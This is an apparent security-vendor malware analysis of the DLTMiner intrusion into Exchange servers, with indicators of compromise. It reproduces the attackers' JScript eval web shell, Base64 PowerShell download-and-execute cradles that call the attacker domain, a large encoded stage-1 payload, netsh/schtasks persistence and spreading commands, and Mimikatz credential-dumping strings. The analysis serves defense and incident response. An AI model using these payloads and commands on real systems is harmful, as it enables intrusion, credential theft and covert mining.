Microsoft, Hafnium and my exchange: Collection of thoughts on DLTMiner

Featured On

EntrepreneurForbesBuisiness InsiderAxios

When we first started to write this article, very little information existed about the Exchange Server attacks following the vulnerabilities:

The actors involved or what in general was happening. Now there is an impressive number of quality articles from big vendors and researchers, but this is our take on it. We also  advise you to continue following Microsoft’s advice and updates on mitigation. What we didn’t know in the beginning was that the main PowerShell script had already been discovered and researched back in 2019 and the differences between the old and the new script are almost nonexistent even to the level of the same domain names being used, but they are still not marked as malicious in VirusTotal. In this article we will focus mainly on the DLTMiner attack rather than the other attacks.

How it started:

On 03.02 Microsoft released a patch for the CVEs, and a couple of days later added a PowerShell script to scan exchange servers for signs of exploits. Unfortunately, the scan detected a breach. From this point, it didn’t take long to find indicators of compromise in the shape ofASPX files, executables, and PowerShell scripts. Later in the examination, it was determined  that the server was very likely breached by more than one actor. The zero day allows the execution of the command “Set-OabVirtualDirectory” without authentication. This creates a definition of an OAB (Offline Address Book) ASPX file that holds  the external URL value:

  • http://f/<script language=”JScript” runat=”server”>function Page_Load(){eval(Request[“XXXXX”],”unsafe”);}</script>

This allows remote code execution, which is triggered when this page is accessed with an authentication string (where the changing “XXXXX” is located). In this case, we investigated a w3wp.exe process which executes a CMD command that executed a PowerShell Base64 encoded command: SUVYIChOZXctT2JqZWN0IE5ldC5XZWJDbGllbnQpLmRvd25sb2Fkc3RyaW5nKCdodHRwWzpdLy9wWy5dZXN0b25pbmVbLl1jb20vcD9lJyk=

This then translated to: IEX (New-Object Net.WebClient).downloadstring(‘http[:]//p[.]estonine[.]com/p?e‘)

This page contains a compressed encoded PowerShell script that is executed right after it’s downloaded:


Stage 1

The URL leads to a page that simply holds a long encoded and obfuscated PowerShell script. The script is downloaded and executed on the machine and continues to download further scripts that behave in a similar fashion. Many familiar obfuscation techniques are used so there are a few stages until we can read the plaintext script, but it is not hard to do that (such as Base64 encoding, mirror writing, compression, string separation and addition of chars, usage of the many different names of PowerShell functions (invoke-expression→ iex, ‘i’+’e’+char[78], and so on).

Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(‘7b0HYBxJliUmL23Ke39K9UrX4HShCIBgEyTYkEAQ7MGIzeaS7B1pRyMpqyqBymVWZV1mFkDM7Z28995777333nvvvfe6O51OJ/ff/z9cZmQBbPbOStrJniGAqsgfP358Hz8ivte0dbG8+P7vtsim6Wfp1kXe4re7z75MT17/5M+8zst82m5/Oflp+pFuv35brNLddPu8qJs23f2Z9KRaXuZ1+6yuFtsnzWW6/e08m+V1+sXxyc808m6l7+bvVtlyhm/u/MZJW1//4t84+bHfbZktcur248/LapKVv+/L16e/9+nJx/gmf5efl9kFffm70c8mp89e5FcGk9fXTZsvxm/mNfVH+I+/WLf5u3Trd2vrdT5isKPv1fn59w0c6vOXTLN2Ov/Fv+Q3Tn7j5HebtQT587zdfpq1ebr9rKoXWZt+fH39xRezGSHwu62ydk5NPvrd8uXlI+pr9fv+vtPpdFxWFx/9xomlmqLY5k27zW/we3g9rxcF+ki3vvc6n67ror0ev6SXpsUqK8ffLZaz6qqxH3x/Q6OzWb5s6ZvvP3pECJ+s65r+3rpzZ3zWnC1fVWW+qYcn66Jspdn304+OZ4tiWRDyWVvVHxFNfre3+TVGSXP+2UefgAk++egXZpf4PbukX2lym6Ja0t9bINZ3F4VhhROalCalXu7t/f5f0mizlggi03JnrK8RgEnR9l8eeOvL18f1dF601GRd5+kn6Ue/EPTd++wj+l1Ijc9m1SIrlvxhB+4Vw51WixVxQ90o2Kfcnl9dN3kt0DCrX70+ffXi+ItT/urla/1C+OU3TorzLelzO/9F6cfPsrLJP77zi5UNzwiyzHW63V6v8vS8KMGieEmmnpv+mPL5j/1ub/J34IaPzk5/73TLY+QXeTv+bj45KQua1DtjmrJlWWUz4a+tj+dtu3p09+50thxP58S+9HOZt3dXv8e8uGB0iY8J+4/vfMS9PLkmTqRuvmfkg3odny6nFWSE+OerZUG/52MiGzfd+t3Q4g6/O8E3eFdlmpq/qZ6Q5H26/1qwEfDSupkSoaAxPro7JRkkGbpbr1MheXq3maZfnL346s1pendRpfv307vtErNOuNOvdQrUP/7oY6C+qq5oquZ5WRKhV+nkegW+2s5TQUhakj6CUvix121Wt9sv62qao9EzIvpLzEEznbdZ87YZE1Lp9nF9sV4QOZ8Tp5MAC6pMIKcCfuyX5DShP7tzVFZX/2+bo/8vTAz9/xea98BVS0byI8GSWsvMsRpvypxQg9Harsm4VIt0u1iS8KvN2dodj/d27nj2BtBE73e1kcH9Z1KxWympkQXBLItlTh+qIRQqp9s0ONIwhFXIDBgLqYAt9DMu8+UF9EPZpjt30m0YP2uNGJlquWpkdlKf2MtqlW5fpfNiRoo/oP3Un5/35FK8+ZGy6u7BwXj300/p/3tEn92769WMuGO8Wl78Hr+QORZWQVhW+iNsh2Z4uphFJxeDAznsbLkpflvQMH+3VTH7jZP/Bw==’)))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();

After the string is Base64 decoded, it is still unreadable because it’s written in mirror writing; thus the call to ‘ReadToEnd’:



Figure 3: decoded script

In the early stages of the script there is a mutex creation: ‘Global\PSEXEC’.

For each machine, the script generates a key composed of several variables collected from the machine such as MAC address, AVS installed, Windows version and architecture, domain name and username, and a flag that resembles a new infection or an old infection based on the mutex creation’s success or failure. There’s also another flag that checks if the file “ccc.log” already exists or not.


Based on a test that checks if the user has admin privileges, the function will generate a new get request and create a scheduled task from the result (if admin, the suffix of the get request will be “high”, else “low”).


The main part, though, is later in the script, where it receives further commands from its CNC by parsing text from “update.png”. To get a response from the CNC, a key (+ $key) is needed.


The content inside the URL with high\low at the end is similar to the above script persistence mechanism that keeps this script active. The contents from “update.png”, though, are a bit more interesting. The downloaded string is much longer this time (again – Base64 decoded and obfuscated with the same tricks). The cleartext string has more than 10,000 lines of code, around 6MB of script file.

The script has many lines because there are multiple known projects embedded inside such as pingCastle, Invoke-PowerDump (from EmpireProject), EternalBlue Vulnerability Scanner, and more. Besides executing those projects to further spread and steal credentials, the script also keeps calling back home and logs events\downloads further commands to add firewall rules or create more scheduled tasks, and even runs Mimikatz.

Abilities: port scan, EternalBlue/MS17-010 for Win7/Win8, brute force passwords, command execution (in addition to carrying a dictionary, the local password/credentials will also be added to the dictionary), CVE-2017-8464, CVE-2020-0796.

Below is a more detailed description of the abilities:



Figure x: example of clear usage of external known projects

One of the functions in the script is ”copyrun” (lines 10046-10110) and it caught our attention for the following reasons:


Using open source projects that implement pass-the-hash, the function will try to spread within the organization. At first it will call the Invoke-SMBC function to try to log in to the station, and then it will use Invoke-se to infect the station:

  • ‘netsh.exe firewall add portopening tcp 65353 DNS&netsh interface portproxy add v4tov4 listenport=65353 connectaddress= connectport=53&schtasks /create /ru system /sc MINUTE /mo 40 /st 07:00:00 /tn Sync /tr “powershell -nop -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AcAAuAGUAcwB0AG8AbgBpAG4AZQAuAGMAbwBtAC8AcAA/AHMAbQBiACcAKQA=” /F &schtasks /run /tn Sync’

What we suspect is a DNS tunneling:

The attacker creates a firewall rule that opens a port at 65353 and maps the address to receive all of the messages received by port 65353  and that are transferred to port 53. This way the traffic can be cloaked as DNS traffic instead of as high port traffic. Further on, there is a task creation command that runs a Base64 PowerShell command, on behalf of the System user, every 40 minutes. The encoded command decodes to: IEX(New-ObjectNet.WebClient).downloadstring(‘’).

Upon successful execution:

Example of how a successful infection is logged by posting the user details (domain, username, password hash and ip) using the downloadstring request as a post request for the said details.


For each successful infection path, three new files will be added remotely to the infected station. The variables are global parameters which are defined in the main function of the script.


$byte_sign is a Base64 encoded command to download itself on other stations on the domain by using stolen credentials from previous activity in the script.


$byte_link contains a string indicating the execution of flashplayer.tmp with wscript.exe


Another tool we saw embedded in the script is the PingCastle tool, which is a legitimate tool for scanning vulnerable places in Active Directory.


Line 1124:


The line above is used in another section of the script, as a way to spread through SMB. It opens a port in the firewall, adds a proxy and creates a scheduled task that also has an encoded command:

cmd.exe /c netsh.exe firewall add portopening tcp 65353 DNS&netsh interface portproxy add v4tov4 listenport=65353 connectaddress= connectport=53&schtasks /create /ru system /sc MINUTE /mo 40 /st 07:00:00 /tn Sync /tr “powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AcAAuAGUAcwB0AG8AbgBpAG4AZQAuAGMAbwBtAC8AcAA/ADMAMgAnACkA” /F&schtasks /run /tn Sync

Decoded scheduled task strings give a new URL: IEX (New-Object Net.WebClient).downloadstring(‘http://p[.]estonine[.]com/p?64‘)

One more example of usage of other projects – we can see here Mimikatz related strings:


sekurlsa::logonpasswords exit

crypto::cg crypto::capi “crypto::certiictes /expot” “cypo::cetifices /expor /systemstore:CERT_SYSTEM_STORE_LOCAL_MACHINE” exit

function localscan:

As the name implies, the localscan function does a network scan on port 445 and attempts to connect to each IP address using System.Net.Sockets.TcpClient and BeginConnect. It returns a list of IPs from successful connections. For each IP it will also turn to “https[:]//api[.]ipify[.]org

to get the public IP address.


We can see a peak near the time of attack:


Here are some of the projects we saw embedded inside the script:

Function Invoke-SE (lines 4313-7203)


Function invoke-mypass (lines 1631 – 4312)

This function takes care of the Mimikatz part of the script.


process injection

Inside there is a Base64 encoded large string, which decodes to an executable.


The executable is a Mimikatz variation.

Function Invoke-SMBC (lines 7204 – 10045)

From the same repository as before:

Main function:

Before the main function is executed, an environment is set up that will later use the encoded strings at the invoke-SMBC function.



We’ve seen evidence of an unsuccessful first exploitation:

  • The author uses scheduled task creation and activation,  but uses it wrong. So the first command will fail, and gives a grace period of 45 minutes (or as much as the task was set to) until the next time it will try to run (successfully this time).
  • Don’t execute code for the attacker. If you’re trying to deobfuscate the code and use the existing methods, don’t miss the invoke-expression obfuscated commands, and don’t run them along with the deobfuscation commands.


When investigating an incident, it is important to remember that sometimes some files might include information about your company that you don’t want exposed to the Internet. In this case, we were able to identify the organizations that suffered this breach by searching for specific strings. Those strings are included in a DLL file that is compiled on the server as part of the regular behavior of the server whenever a new .aspx file is generated. We assume that many organizations suspected the said DLL because of its creation date and location, and uploaded it for a scan in VT. What they didn’t know was that the file contained strings with the exchange server name, DC name, version, and more. Using strings from the DLL, it is possible to extract the names of organizations that uploaded this file during the breach.

Identified URLs

  • http://p[.]
  • http://pslog[.]’ + $ip + “&re=” +$retry+ “&pid=” +$pid + “&auth=” + $thedomain + “:” + $user + “:” + $ipchash[$i]
  • http[:]//p[.]
  • http[:]//p[.]
  • http://pslog[.]’ + $currip + “&re=”+$retry+”&pid=”+$pid
  • ‘http://p[.]estonine[.]com/p?64’
  • ‘http[:]//p[.]estonine[.]com/p?e
  • http://cdn[.]
  • http://cdn[.]
  • “https://api[.]ipify[.]org/” (not malicious on its own)

Bad ips:



Open port:

  • 65353
  • Listening IP address 
  • Scheduled tasks named: 
  • Sync 
  • Winnet
  • (or any task that contains a PowerShell execution of Base64 decoded strings)
  • $env:temp\\ccc.log
  • \AppData\Roaming\sign.txt
  • \AppData\Roaming\flashplayer.tmp
  • \AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\FlashPlayer.lnk
  • Mutex created: ‘Global\PSEXEC’
  • Recent connection to
  • https://api[.]ipify[.]org/
  • Server side

Files created:

  • C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\OutlookEN[.]aspx
  • C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\TimeoutLogout[.]aspx
  • Dll with pattern: App_Web_xxxxxxxx.dll (Look for DLL in the matching dates)
  • /ecp/x.js
  • /ecp/y.js


Commands executed

  • “cmd” /c cd /d “C:/inetpub/wwwroot/aspnet[_]client”&attrib +h +s +r TimeoutLogout[.]aspx&echo [S]
  • “cmd” /c cd /d “C:/inetpub/wwwroot/aspnet[_]client”&del ‘C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\OutlookEN[.]aspx’&echo [S]
  • cmd” /c cd /d “C:/inetpub/wwwroot/aspnet[_]client”&del ‘C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\TimeoutLogout[.]aspx’&echo [S]